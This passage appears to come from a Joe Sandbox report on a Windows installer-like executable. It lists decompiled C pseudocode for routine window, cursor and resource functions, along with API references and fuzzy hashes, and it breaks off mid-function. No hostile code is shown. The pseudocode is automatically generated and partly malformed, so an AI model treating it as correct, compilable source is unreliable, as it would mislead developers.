                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: LoadString$FileMessageModuleName
                                                          • String ID:
                                                          • API String ID: 704749118-0
                                                          • Opcode ID: 15eb2e37495bc9022f27dc226ecadbb96bf0e6d8232d96823ca2684057e2e750
                                                          • Instruction ID: a85b8bc3062859688b3881e95ce9b71659ac63191daf16adaba85c000f202c68
                                                          • Opcode Fuzzy Hash: 15eb2e37495bc9022f27dc226ecadbb96bf0e6d8232d96823ca2684057e2e750
                                                          • Instruction Fuzzy Hash: 763133706093845BD760EB55C945BDF77E89F86304F00483EA6C8EB2D2DB799904876B
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 73%
                                                          			E00488034(void* __eax, intOrPtr* __edx) {
                                                          				intOrPtr _v20;
                                                          				intOrPtr _v28;
                                                          				intOrPtr _v32;
                                                          				struct tagRECT _v48;
                                                          				signed int _t26;
                                                          				signed int _t27;
                                                          				intOrPtr _t32;
                                                          				intOrPtr _t33;
                                                          				intOrPtr _t34;
                                                          				intOrPtr _t35;
                                                          				void* _t50;
                                                          				signed int _t55;
                                                          				signed int _t56;
                                                          				void* _t57;
                                                          				long _t59;
                                                          				intOrPtr _t60;
                                                          				long _t61;
                                                          				intOrPtr _t62;
                                                          				intOrPtr* _t65;
                                                          				intOrPtr _t66;
                                                          				void* _t67;
                                                          
                                                          				_t67 =  &_v32;
                                                          				_t65 = __edx;
                                                          				_t50 = __eax;
                                                          				_push( *((intOrPtr*)(__eax + 0x30)));
                                                          				_push( &_v48);
                                                          				_t66 =  *((intOrPtr*)(__edx + 4));
                                                          				_t55 =  *((intOrPtr*)(__edx + 0xc)) - _t66 -  *((intOrPtr*)(__eax + 0x30));
                                                          				_t56 = _t55 >> 1;
                                                          				if(_t55 < 0) {
                                                          					asm("adc edx, 0x0");
                                                          				}
                                                          				_t57 = _t56 + _t66;
                                                          				_t64 =  *_t65;
                                                          				_t26 =  *((intOrPtr*)(_t65 + 8)) -  *_t65 -  *((intOrPtr*)(_t50 + 0x2c));
                                                          				_t27 = _t26 >> 1;
                                                          				if(_t26 < 0) {
                                                          					asm("adc eax, 0x0");
                                                          				}
                                                          				E0040AE6C(_t27 + _t64,  *((intOrPtr*)(_t50 + 0x2c)), _t57);
                                                          				E00487B14(_t67,  &(_v48.right));
                                                          				_t32 = _v32;
                                                          				_t59 = _v48.left;
                                                          				if(_t32 < _t59) {
                                                          					OffsetRect( &_v48, _t32 - _t59, 0);
                                                          				}
                                                          				_t33 = _v20;
                                                          				_t60 = _v48.bottom;
                                                          				if(_t33 < _t60) {
                                                          					OffsetRect( &_v48, 0, _t33 - _t60);
                                                          				}
                                                          				_t34 = _v32;
                                                          				_t61 = _v48.left;
                                                          				if(_t34 > _t61) {
                                                          					OffsetRect( &_v48, _t34 - _t61, 0);
                                                          				}
                                                          				_t35 = _v28;
                                                          				_t62 = _v48.top;
                                                          				if(_t35 > _t62) {
                                                          					OffsetRect( &_v48, 0, _t35 - _t62);
                                                          				}
                                                          				return E00414894(_t50, _t67);
                                                          			}
























                                                          0x00488038
                                                          0x0048803b
                                                          0x0048803d
                                                          0x00488042
                                                          0x00488047
                                                          0x0048804b
                                                          0x00488050
                                                          0x00488053
                                                          0x00488055
                                                          0x00488057
                                                          0x00488057
                                                          0x0048805a
                                                          0x0048805f
                                                          0x00488063
                                                          0x00488066
                                                          0x00488068
                                                          0x0048806a
                                                          0x0048806a
                                                          0x00488072
                                                          0x0048807d
                                                          0x00488082
                                                          0x00488086
                                                          0x0048808c
                                                          0x00488098
                                                          0x00488098
                                                          0x0048809d
                                                          0x004880a1
                                                          0x004880a7
                                                          0x004880b3
                                                          0x004880b3
                                                          0x004880b8
                                                          0x004880bc
                                                          0x004880c1
                                                          0x004880cd
                                                          0x004880cd
                                                          0x004880d2
                                                          0x004880d6
                                                          0x004880dc
                                                          0x004880e8
                                                          0x004880e8
                                                          0x004880fd

                                                          APIs
                                                          • OffsetRect.USER32(?,?,00000000), ref: 00488098
                                                          • OffsetRect.USER32(?,00000000,?), ref: 004880B3
                                                          • OffsetRect.USER32(?,?,00000000), ref: 004880CD
                                                          • OffsetRect.USER32(?,00000000,?), ref: 004880E8
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: OffsetRect
                                                          • String ID:
                                                          • API String ID: 177026234-0
                                                          • Opcode ID: adb3ab533213fc73991d5ce9d602276681470739bd213bb028988d2f550f2f68
                                                          • Instruction ID: 2cf5120d21936ad00c2a03f1069266a7bbc6929606929f9b6ec7324bdd5b9cb3
                                                          • Opcode Fuzzy Hash: adb3ab533213fc73991d5ce9d602276681470739bd213bb028988d2f550f2f68
                                                          • Instruction Fuzzy Hash: 39218EB67042055FC300EE69CC81E6BB7DEEBC4344F558E2AF948C724ADA34EC0887A5
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 94%
                                                          			E00417430(intOrPtr* __eax, void* __edx) {
                                                          				char _v20;
                                                          				void* _t22;
                                                          				intOrPtr _t23;
                                                          				intOrPtr _t24;
                                                          				struct HWND__* _t26;
                                                          				intOrPtr _t28;
                                                          				intOrPtr* _t30;
                                                          				intOrPtr _t32;
                                                          				intOrPtr _t33;
                                                          				struct HICON__* _t35;
                                                          				void* _t40;
                                                          				intOrPtr* _t41;
                                                          				void* _t42;
                                                          				intOrPtr _t53;
                                                          				void* _t54;
                                                          				struct tagPOINT* _t55;
                                                          
                                                          				_t54 = __edx;
                                                          				_t41 = __eax;
                                                          				if( *((intOrPtr*)(__edx + 4)) !=  *((intOrPtr*)(__eax + 0xc0))) {
                                                          					L17:
                                                          					return  *((intOrPtr*)( *_t41 - 0x10))();
                                                          				}
                                                          				_t22 =  *((intOrPtr*)(__edx + 8)) - 0xfffe;
                                                          				if(_t22 == 0) {
                                                          					if( *((short*)(__edx + 0xa)) != 0x201) {
                                                          						goto L17;
                                                          					}
                                                          					_t23 =  *0x48d628; // 0x21c2410
                                                          					if( *((intOrPtr*)(_t23 + 0x20)) == 0) {
                                                          						goto L17;
                                                          					}
                                                          					_t24 =  *0x48d628; // 0x21c2410
                                                          					_t26 = GetLastActivePopup( *(_t24 + 0x20));
                                                          					if(_t26 == GetForegroundWindow()) {
                                                          						goto L17;
                                                          					}
                                                          					_t28 =  *0x48d628; // 0x21c2410
                                                          					asm("salc");
                                                          					_t30 = _t28 - 1 + _t42;
                                                          					asm("iretd");
                                                          					 *_t30 =  *_t30 + _t30;
                                                          					return _t30;
                                                          				}
                                                          				if(_t22 != 3) {
                                                          					goto L17;
                                                          				}
                                                          				if(( *(__eax + 0x1c) & 0x00000010) == 0) {
                                                          					_t32 =  *0x48d62c; // 0x21c0660
                                                          					_t53 =  *((intOrPtr*)(_t32 + 0x28));
                                                          					if(_t53 == 0) {
                                                          						GetCursorPos(_t55);
                                                          						E004149D4(_t41,  &_v20, _t55);
                                                          						_t40 = E00416AE8(_t41, 0,  &_v20);
                                                          						if(_t40 != 0) {
                                                          							_t53 =  *((intOrPtr*)(_t40 + 0x4c));
                                                          						}
                                                          						if(_t53 == 0) {
                                                          							_t53 =  *((intOrPtr*)(_t41 + 0x4c));
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_t53 = 0xfffe;
                                                          				}
                                                          				if(_t53 == 0) {
                                                          					goto L17;
                                                          				} else {
                                                          					_t33 =  *0x48d62c; // 0x21c0660
                                                          					_t35 = SetCursor(E00423584(_t33, _t53));
                                                          					 *((intOrPtr*)(_t54 + 0xc)) = 1;
                                                          					return _t35;
                                                          				}
                                                          			}



















                                                          0x00417436
                                                          0x00417438
                                                          0x00417443
                                                          0x00417501
                                                          0x00000000
                                                          0x00417507
                                                          0x0041744d
                                                          0x00417451
                                                          0x004174cf
                                                          0x00000000
                                                          0x00000000
                                                          0x004174d1
                                                          0x004174da
                                                          0x00000000
                                                          0x00000000
                                                          0x004174dc
                                                          0x004174e5
                                                          0x004174f3
                                                          0x00000000
                                                          0x00000000
                                                          0x004174f5
                                                          0x004174f7
                                                          0x004174f9
                                                          0x004174fc
                                                          0x004174fd
                                                          0x00000000
                                                          0x004174fd
                                                          0x00417457
                                                          0x00000000
                                                          0x00000000
                                                          0x00417461
                                                          0x00417469
                                                          0x0041746e
                                                          0x00417475
                                                          0x00417478
                                                          0x00417485
                                                          0x00417492
                                                          0x00417499
                                                          0x0041749b
                                                          0x0041749b
                                                          0x004174a2
                                                          0x004174a4
                                                          0x004174a4
                                                          0x004174a2
                                                          0x00417463
                                                          0x00417463
                                                          0x00417463
                                                          0x004174ab
                                                          0x00000000
                                                          0x004174ad
                                                          0x004174b0
                                                          0x004174bb
                                                          0x004174c0
                                                          0x00000000
                                                          0x004174c0

                                                          APIs
                                                          • GetCursorPos.USER32 ref: 00417478
                                                          • SetCursor.USER32(00000000), ref: 004174BB
                                                          • GetLastActivePopup.USER32(?), ref: 004174E5
                                                          • GetForegroundWindow.USER32(?), ref: 004174EC
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Cursor$ActiveForegroundLastPopupWindow
                                                          • String ID:
                                                          • API String ID: 1959210111-0
                                                          • Opcode ID: ad77bc0a0dcafdd50e39233d96647bb956d683b99b121cfbc42e3892c8b1b282
                                                          • Instruction ID: 5892325fd1b0cffecc4012343a44259933bd633383ba2ad9ee97e40e18a7c3e8
                                                          • Opcode Fuzzy Hash: ad77bc0a0dcafdd50e39233d96647bb956d683b99b121cfbc42e3892c8b1b282
                                                          • Instruction Fuzzy Hash: 2A2180317042009ACB11EF29C885ADB37F6AF44768B02496EE8499B792D73DDCC4C759
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00487DC4(intOrPtr* __eax, int __ecx, int __edx, int _a4, int _a8) {
                                                          				int _v8;
                                                          				int _v12;
                                                          				intOrPtr _v16;
                                                          				intOrPtr _v20;
                                                          				intOrPtr* _t59;
                                                          				int _t65;
                                                          				int _t66;
                                                          
                                                          				_v12 = __ecx;
                                                          				_v8 = __edx;
                                                          				_t59 = __eax;
                                                          				_t5 = _t59 + 0x24; // 0x8b500000
                                                          				_t66 = MulDiv( *_t5, _v8, _v12);
                                                          				_t8 = _t59 + 0x28; // 0x50142444
                                                          				_t65 = MulDiv( *_t8, _a8, _a4);
                                                          				if(( *(_t59 + 0x35) & 0x00000001) != 0) {
                                                          					_t17 = _t59 + 0x2c; // 0xf7d9dfe8
                                                          					_v16 =  *_t17;
                                                          				} else {
                                                          					_t14 = _t59 + 0x24; // 0x8b500000
                                                          					_t15 = _t59 + 0x2c; // 0xf7d9dfe8
                                                          					_v16 = MulDiv( *_t14 +  *_t15, _v8, _v12) - _t66;
                                                          				}
                                                          				if(( *(_t59 + 0x35) & 0x00000002) != 0) {
                                                          					_t27 = _t59 + 0x30; // 0x8bf88bff
                                                          					_v20 =  *_t27;
                                                          				} else {
                                                          					_t24 = _t59 + 0x28; // 0x50142444
                                                          					_t25 = _t59 + 0x30; // 0x8bf88bff
                                                          					_v20 = MulDiv( *_t24 +  *_t25, _a8, _a4) - _t65;
                                                          				}
                                                          				return  *((intOrPtr*)( *_t59 + 0x4c))(_v20, _v16);
                                                          			}










                                                          0x00487dcd
                                                          0x00487dd0
                                                          0x00487dd3
                                                          0x00487ddd
                                                          0x00487de6
                                                          0x00487df0
                                                          0x00487df9
                                                          0x00487dff
                                                          0x00487e1c
                                                          0x00487e1f
                                                          0x00487e01
                                                          0x00487e09
                                                          0x00487e0c
                                                          0x00487e17
                                                          0x00487e17
                                                          0x00487e26
                                                          0x00487e43
                                                          0x00487e46
                                                          0x00487e28
                                                          0x00487e30
                                                          0x00487e33
                                                          0x00487e3e
                                                          0x00487e3e
                                                          0x00487e62

                                                          APIs
                                                          • MulDiv.KERNEL32(8B500000,00000000,?), ref: 00487DE1
                                                          • MulDiv.KERNEL32(50142444,00000008,?), ref: 00487DF4
                                                          • MulDiv.KERNEL32(F7D9DFE8,00000000,?), ref: 00487E10
                                                          • MulDiv.KERNEL32(8BF88BFF,00000008,?), ref: 00487E37
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 0c5b4e18259c2fcec0967be5015d6c9e1b7d43a1d5876a38d39f0d3f952388a1
                                                          • Instruction ID: d4a06c7a7a1a84331688927c540a70fef3dc3dee16a05ca6f17a12239e028dd1
                                                          • Opcode Fuzzy Hash: 0c5b4e18259c2fcec0967be5015d6c9e1b7d43a1d5876a38d39f0d3f952388a1
                                                          • Instruction Fuzzy Hash: BB219AB6A04109AFCB40DFADC885E9EBBFCAF0C314B145596FA18DB346D674ED408B64
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 93%
                                                          			E0041F698(intOrPtr _a4, intOrPtr _a8) {
                                                          				struct _WNDCLASSA _v44;
                                                          				struct HINSTANCE__* _t5;
                                                          				CHAR* _t7;
                                                          				struct HINSTANCE__* _t8;
                                                          				signed int _t9;
                                                          				signed int _t11;
                                                          				struct HINSTANCE__* _t13;
                                                          				CHAR* _t14;
                                                          				struct HINSTANCE__* _t19;
                                                          				CHAR* _t20;
                                                          				struct HWND__* _t22;
                                                          
                                                          				_t5 =  *0x48d014; // 0x400000
                                                          				 *0x48c5ac = _t5;
                                                          				_t7 =  *0x48c5c0; // 0x41f688
                                                          				_t8 =  *0x48d014; // 0x400000
                                                          				_t9 = GetClassInfoA(_t8, _t7,  &_v44);
                                                          				asm("sbb eax, eax");
                                                          				_t11 =  ~( ~_t9);
                                                          				if(_t11 == 0 || L00405F44 != _v44.lpfnWndProc) {
                                                          					if(_t11 != 0) {
                                                          						_t19 =  *0x48d014; // 0x400000
                                                          						_t20 =  *0x48c5c0; // 0x41f688
                                                          						UnregisterClassA(_t20, _t19);
                                                          					}
                                                          					RegisterClassA( &E0048C59C);
                                                          				}
                                                          				_t13 =  *0x48d014; // 0x400000
                                                          				_t14 =  *0x48c5c0; // 0x41f688
                                                          				_t22 = E004063FC(_t14, 0, 0x41f738, 0, _t13, 0, 0, 0, 0, 0, 0);
                                                          				SetWindowLongA(_t22, 0xfffffffc, E0041F5DC(_a4, _a8));
                                                          				return _t22;
                                                          			}














                                                          0x0041f69f
                                                          0x0041f6a4
                                                          0x0041f6ad
                                                          0x0041f6b3
                                                          0x0041f6b9
                                                          0x0041f6c0
                                                          0x0041f6c2
                                                          0x0041f6c6
                                                          0x0041f6d4
                                                          0x0041f6d6
                                                          0x0041f6dc
                                                          0x0041f6e2
                                                          0x0041f6e2
                                                          0x0041f6ec
                                                          0x0041f6ec
                                                          0x0041f6fd
                                                          0x0041f70c
                                                          0x0041f716
                                                          0x0041f727
                                                          0x0041f732

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Class$InfoLongRegisterUnregisterWindow
                                                          • String ID:
                                                          • API String ID: 4025006896-0
                                                          • Opcode ID: c5dd2f2e5f8e2dcc20149b6101b6a9e4b46aedd7e4530def1a9c4e608d1da356
                                                          • Instruction ID: 96b3f5d6125d74b1874d3b2cbe993d6107b93040b447053246e6257550f9f061
                                                          • Opcode Fuzzy Hash: c5dd2f2e5f8e2dcc20149b6101b6a9e4b46aedd7e4530def1a9c4e608d1da356
                                                          • Instruction Fuzzy Hash: 72014471640114ABCF10EF59DC91E9F33D8A709314F10453AB505EB2E1D635E8168B78
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 87%
                                                          			E0040D418(void* __eax, struct HINSTANCE__* __edx, CHAR* _a4) {
                                                          				CHAR* _v8;
                                                          				void* __ebx;
                                                          				void* __ecx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				void* _t18;
                                                          				void* _t23;
                                                          				CHAR* _t24;
                                                          				void* _t25;
                                                          				struct HRSRC__* _t30;
                                                          				void* _t31;
                                                          				struct HINSTANCE__* _t32;
                                                          				void* _t33;
                                                          
                                                          				_v8 = _t24;
                                                          				_t32 = __edx;
                                                          				_t23 = __eax;
                                                          				_t30 = FindResourceA(__edx, _v8, _a4);
                                                          				 *(_t23 + 0x10) = _t30;
                                                          				_t34 = _t30;
                                                          				if(_t30 == 0) {
                                                          					E0040D3A4(_t23, _t30, _t32, _t34, _t33);
                                                          				}
                                                          				_t5 = _t23 + 0x10; // 0x72756f73
                                                          				_t31 = LoadResource(_t32,  *_t5);
                                                          				 *(_t23 + 0x14) = _t31;
                                                          				_t35 = _t31;
                                                          				if(_t31 == 0) {
                                                          					E0040D3A4(_t23, _t31, _t32, _t35, _t33);
                                                          				}
                                                          				_t7 = _t23 + 0x10; // 0x72756f73
                                                          				_push(SizeofResource(_t32,  *_t7));
                                                          				_t8 = _t23 + 0x14; // 0x74536563
                                                          				_t18 = LockResource( *_t8);
                                                          				_pop(_t25);
                                                          				return E0040D12C(_t23, _t25, _t18);
                                                          			}

















                                                          0x0040d41f
                                                          0x0040d422
                                                          0x0040d424
                                                          0x0040d434
                                                          0x0040d436
                                                          0x0040d439
                                                          0x0040d43b
                                                          0x0040d43e
                                                          0x0040d443
                                                          0x0040d444
                                                          0x0040d44e
                                                          0x0040d450
                                                          0x0040d453
                                                          0x0040d455
                                                          0x0040d458
                                                          0x0040d45d
                                                          0x0040d45e
                                                          0x0040d468
                                                          0x0040d469
                                                          0x0040d46d
                                                          0x0040d476
                                                          0x0040d481

                                                          APIs
                                                          • FindResourceA.KERNEL32(00400000,00000000,00000000), ref: 0040D42F
                                                          • LoadResource.KERNEL32(00400000,72756F73,0040ABD0,00400000,00000001,00000000,?,0040D38C,00000000,?,?,00000000,?,00471F20,0000000A,00000000), ref: 0040D449
                                                          • SizeofResource.KERNEL32(00400000,72756F73,00400000,72756F73,0040ABD0,00400000,00000001,00000000,?,0040D38C,00000000,?,?,00000000,?,00471F20), ref: 0040D463
                                                          • LockResource.KERNEL32(74536563,00000000,00400000,72756F73,00400000,72756F73,0040ABD0,00400000,00000001,00000000,?,0040D38C,00000000,?,?,00000000), ref: 0040D46D
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Resource$FindLoadLockSizeof
                                                          • String ID:
                                                          • API String ID: 3473537107-0
                                                          • Opcode ID: e6100b241badeb425de31cc8584a46ace317cacf56becc7027b747929437f6c3
                                                          • Instruction ID: f3587ef7c1a0537addd3ced78b3dff0677eb53373e3e491f37a1668097ee8740
                                                          • Opcode Fuzzy Hash: e6100b241badeb425de31cc8584a46ace317cacf56becc7027b747929437f6c3
                                                          • Instruction Fuzzy Hash: 24F062B26046046F9B04EE9D9841D6B77EDDE88264310013FF90CEB246DA39ED018779
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00424458(void* __eax) {
                                                          				struct HWND__* _t4;
                                                          				void* _t6;
                                                          				struct HWND__* _t7;
                                                          
                                                          				_t6 = __eax;
                                                          				_t4 =  *(__eax + 0x20);
                                                          				if(_t4 != 0) {
                                                          					_t4 = GetLastActivePopup(_t4);
                                                          					_t7 = _t4;
                                                          					if(_t7 != 0 && _t7 !=  *((intOrPtr*)(_t6 + 0x20))) {
                                                          						_t4 = IsWindowVisible(_t7);
                                                          						if(_t4 != 0) {
                                                          							_t4 = IsWindowEnabled(_t7);
                                                          							if(_t4 != 0) {
                                                          								return SetForegroundWindow(_t7);
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				return _t4;
                                                          			}






                                                          0x0042445a
                                                          0x0042445c
                                                          0x00424461
                                                          0x00424464
                                                          0x00424469
                                                          0x0042446d
                                                          0x00424475
                                                          0x0042447c
                                                          0x0042447f
                                                          0x00424486
                                                          0x00000000
                                                          0x00424489
                                                          0x00424486
                                                          0x0042447c
                                                          0x0042446d
                                                          0x00424490

                                                          APIs
                                                          • GetLastActivePopup.USER32(?), ref: 00424464
                                                          • IsWindowVisible.USER32 ref: 00424475
                                                          • IsWindowEnabled.USER32(?), ref: 0042447F
                                                          • SetForegroundWindow.USER32(?,?,?,?,?,00485FC4,00000000,004866DC), ref: 00424489
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Window$ActiveEnabledForegroundLastPopupVisible
                                                          • String ID:
                                                          • API String ID: 2280970139-0
                                                          • Opcode ID: 7a5af007174fff9b1595ee6131d885b23851cbf0eb5bd71a3a54e8eec36cf7cb
                                                          • Instruction ID: 7619e3bee271c6ada74d7ecb7122e895dc1e33f6cb89b075b848939e61871245
                                                          • Opcode Fuzzy Hash: 7a5af007174fff9b1595ee6131d885b23851cbf0eb5bd71a3a54e8eec36cf7cb
                                                          • Instruction Fuzzy Hash: 67E08C61702639178A2177762D81B9B01CC8D453A436A4277BC00FBA83DA2CDC1081AE
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0040638C(void* __eax, int __ecx, long __edx) {
                                                          				void* _t2;
                                                          				void* _t4;
                                                          
                                                          				_t2 = GlobalHandle(__eax);
                                                          				GlobalUnWire(_t2);
                                                          				_t4 = GlobalReAlloc(_t2, __edx, __ecx);
                                                          				GlobalFix(_t4);
                                                          				return _t4;
                                                          			}





                                                          0x0040638f
                                                          0x00406396
                                                          0x0040639b
                                                          0x004063a1
                                                          0x004063a6

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Global$AllocHandleWire
                                                          • String ID:
                                                          • API String ID: 2210401237-0
                                                          • Opcode ID: 2ccb1316f656a9feec663ea7d40f446e50994104d6d7ba694866cbb55bb477a3
                                                          • Instruction ID: a85f6cc49554111a6b442965616aab6ca95b327fc93131f70674e99c7dd58da5
                                                          • Opcode Fuzzy Hash: 2ccb1316f656a9feec663ea7d40f446e50994104d6d7ba694866cbb55bb477a3
                                                          • Instruction Fuzzy Hash: A8B009E4811A0078EE0833F26C0FC3F287DDC9470C780496E7444BA483987DBC00883E
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 85%
                                                          			E00463DE4(intOrPtr __eax, void* __ecx, intOrPtr __edx, void* __eflags, void* __fp0) {
                                                          				intOrPtr _v8;
                                                          				char _v12;
                                                          				char _v16;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				void* _t130;
                                                          				intOrPtr _t150;
                                                          				intOrPtr _t172;
                                                          				void* _t182;
                                                          				void* _t209;
                                                          				void* _t214;
                                                          				void* _t215;
                                                          				int _t216;
                                                          				void* _t218;
                                                          				int _t230;
                                                          				intOrPtr _t234;
                                                          				intOrPtr _t235;
                                                          				intOrPtr _t236;
                                                          				intOrPtr _t239;
                                                          				intOrPtr _t240;
                                                          				intOrPtr _t243;
                                                          				intOrPtr _t244;
                                                          				intOrPtr _t245;
                                                          				intOrPtr _t246;
                                                          				intOrPtr _t247;
                                                          				signed int _t248;
                                                          				void* _t257;
                                                          				intOrPtr _t260;
                                                          				void* _t281;
                                                          
                                                          				_t281 = __fp0;
                                                          				_t218 = __ecx;
                                                          				_t256 = __edx;
                                                          				_v8 = __eax;
                                                          				_t258 = E004626C0(_v8, _t214, __edx, __edx, _t257);
                                                          				_t215 = E0040B654( *((intOrPtr*)(_v8 + 0x2ec)), _t95);
                                                          				 *((intOrPtr*)(_v8 + 0x340)) = __edx;
                                                          				_t100 =  *((intOrPtr*)(_t215 + 0x28));
                                                          				if( *((intOrPtr*)(_t215 + 0x28)) != 0) {
                                                          					E0045EF64( *((intOrPtr*)(_v8 + 0x1c4)), _t218, _t100);
                                                          				}
                                                          				E0045EF64( *((intOrPtr*)(_v8 + 0x1c0)), _t218,  *((intOrPtr*)(_t215 + 0x24)));
                                                          				E00460C98(_t215);
                                                          				if( *0x48db8c == 0) {
                                                          					L5:
                                                          					_t230 = 0;
                                                          					goto L7;
                                                          				} else {
                                                          					_t209 =  *((intOrPtr*)(_v8 + 0x340)) - 1;
                                                          					if(_t209 == 0 || _t209 == 0xd) {
                                                          						goto L5;
                                                          					} else {
                                                          						_t230 = 1;
                                                          						L7:
                                                          						E00414C5C( *((intOrPtr*)(_v8 + 0x280)), _t218, _t230, _t256);
                                                          						if(( *(_t215 + 0x5c) & 0x00000002) != 0) {
                                                          							E00414C5C( *((intOrPtr*)(_v8 + 0x1bc)), _t218, 0, _t256);
                                                          							E00414C5C( *((intOrPtr*)(_v8 + 0x1b8)), _t218, 0, _t256);
                                                          							_t233 = 0;
                                                          							__eflags = 0;
                                                          							E00414C5C( *((intOrPtr*)(_v8 + 0x1b4)), _t218, 0, _t256);
                                                          						} else {
                                                          							_t172 = _v8;
